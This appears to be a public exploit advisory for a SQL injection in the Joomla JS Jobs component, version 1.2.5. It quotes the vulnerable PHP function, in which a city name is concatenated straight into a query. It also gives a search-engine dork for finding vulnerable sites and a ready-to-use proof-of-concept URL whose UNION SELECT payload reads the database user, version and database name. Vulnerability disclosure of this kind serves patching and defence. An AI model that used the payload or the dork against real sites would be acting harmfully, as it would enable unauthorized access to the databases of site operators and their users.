Joomla JS Jobs 1.2.5 SQL Injection

`#Exploit Title: Joomla! component com_jsjobs - SQL Injection  
#Dork: inurl:"index.php?option=com_jsjobs"  
#Date: 11.08.19  
#Exploit Author: qw3rTyTy  
#Vendor Homepage: https://www.joomsky.com/  
#Software Link: https://www.joomsky.com/5/download/1  
#Version: 1.2.5  
#Tested on: Debian/nginx/joomla 3.9.0  
#####################################  
#Vulnerability details:  
#####################################  
Vulnerable code is in line 296 in file site/models/cities.php  
  
291 function isCityExist($countryid, $stateid, $cityname){  
292 if (!is_numeric($countryid))  
293 return false;  
294   
295 $db = $this->getDBO();  
296 $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'"; //!!!  
297   
298 if($stateid > 0){  
299 $query .= " AND stateid=".$stateid;  
300 }else{  
301 $query .= " AND (stateid=0 OR stateid IS NULL)";  
302 }  
303   
305 $db->setQuery($query);  
306 $city = $db->loadObject();  
307 if ($city != null)  
308 return $city;  
309 else  
310 return false;  
311 }  
312   
313 }  
  
#####################################  
#PoC:  
#####################################  
http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada  
`